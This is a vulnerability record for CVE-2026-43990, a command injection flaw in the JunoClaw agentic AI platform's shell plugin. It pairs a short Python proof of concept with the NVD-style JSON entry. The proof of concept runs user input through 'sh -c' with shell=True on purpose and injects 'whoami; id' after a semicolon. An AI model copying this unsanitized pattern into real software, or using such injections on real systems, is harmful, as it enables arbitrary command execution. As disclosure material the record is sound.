CVE-2026-43990

# PoC for CVE-2026-43990 JunoClaw Command Injection # Vulnerability: plugin-shell wraps agent input in 'sh -c' without sanitization. import subprocess def vulnerable_function(user_input): # Simulating the vulnerable behavior in JunoClaw < 0.x.y-security-1 # The input is directly passed to the shell parser command = f"sh -c 'echo Processing: {user_input}'" print(f"[VULN] Executing: {command}") subprocess.run(command, shell=True) # Exploit Payload # Using semicolon to inject a separate command payload = "normal_input; whoami; id" print("--- Exploitation Attempt ---") vulnerable_function(payload) # Expected Result: # The system will execute 'echo Processing: normal_input' followed by 'whoami' and 'id'

{"cve": {"id": "CVE-2026-43990", "sourceIdentifier": "[email protected]", "published": "2026-05-12T17:16:20.953", "lastModified": "2026-05-13T17:00:37.097", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, plugin-shell's run_command wrapped every agent-supplied command in 'sh -c' / 'cmd /C' and passed the full argument string to the shell's parser, allowing shell metacharacters in agent-supplied arguments to be interpreted as command syntax. This vulnerability is fixed in 0.x.y-security-1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/Dragonmonk111/junoclaw/commit/2bc54f6", "source": "[email protected]"}, {"url": "https://github.com/Dragonmonk111/junoclaw/releases/tag/v0.x.y-security-1", "source": "[email protected]"}, {"url": "https://github.com/Dragonmonk111/junoclaw/security/advisories/GHSA-gpvm-3chf-2649", "source": "[email protected]"}]}}